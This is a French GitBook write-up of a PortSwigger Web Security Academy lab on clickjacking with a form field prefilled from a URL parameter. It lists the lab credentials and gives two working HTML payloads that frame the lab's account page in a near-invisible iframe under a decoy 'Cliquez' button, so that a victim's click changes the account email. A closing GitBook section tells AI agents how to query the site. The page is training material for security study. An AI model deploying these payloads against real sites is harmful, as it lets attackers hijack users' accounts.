> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# Clickjacking avec champs de formulaire préremplis via paramètre d’URL

Notes sur le clickjacking avec champs de formulaire préremplis via paramètre d’URL pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de rem

### Clickjacking avec des données de saisie de formulaire préremplies depuis un paramètre d'URL

Modifiez l'adresse e-mail d'un utilisateur en tirant parti d'un formulaire sur la page du compte qui accepte un `email` paramètre dans l'URL. L'attaque consiste à afficher la page ciblée dans un `iframe` (presque invisible) et à encourager la victime à cliquer sur un faux élément « Cliquez-moi ». Le labo est résolu lorsque l'adresse e-mail du compte a été modifiée.

#### Identifiants fournis

* Utilisateur : `wiener`
* Mot de passe : `peter`
* La page de gestion du compte utilise un jeton CSRF, mais ce jeton est traité sur la même page — il n'empêche pas une mise à jour si le formulaire est soumis depuis l'intérieur du `iframe` chargé depuis le domaine cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef816e4ceda4d28755a5adfbf9307bd41e5a8036%2Fimage%20(363).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4301a93129e0233fa93bb393f70a4f2d7eda81fd%2Fimage%20(364).png?alt=media" alt=""><figcaption></figcaption></figure>

* Il est possible de préremplir le champ e-mail en passant `?email=<valeur>` dans l'URL de la `/my-account` page. Exemple : `?email=jordan@test.com`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8e0e6a08d711aa6af4b959cba963163b7865647%2Fimage%20(365).png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf694f8d0cf5aae5215b2e66eb2d820a2d1ff235%2Fimage%20(366).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Chargez la page de compte vulnérable dans un `iframe` en ajoutant le `email` paramètre avec l'adresse que vous souhaitez imposer.
2. Rendez le `iframe` presque invisible (faible opacité ou positionnement) afin de le superposer à un élément déclencheur visible sur la page d'attaque.
3. Placez un faux bouton / libellé « Cliquez » sur lequel la victime cliquera, et qui correspond spatialement au vrai bouton « Mettre à jour l'e-mail » dans `iframe`.
4. Lorsque la victime clique, le clic est en réalité transmis au bouton du formulaire dans `iframe` et soumet le formulaire avec l'adresse e-mail préremplie.

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>Cliquez</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ac7c6d85d6810263cf4b47464b7024f042a9c0d%2Fimage%20(367).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.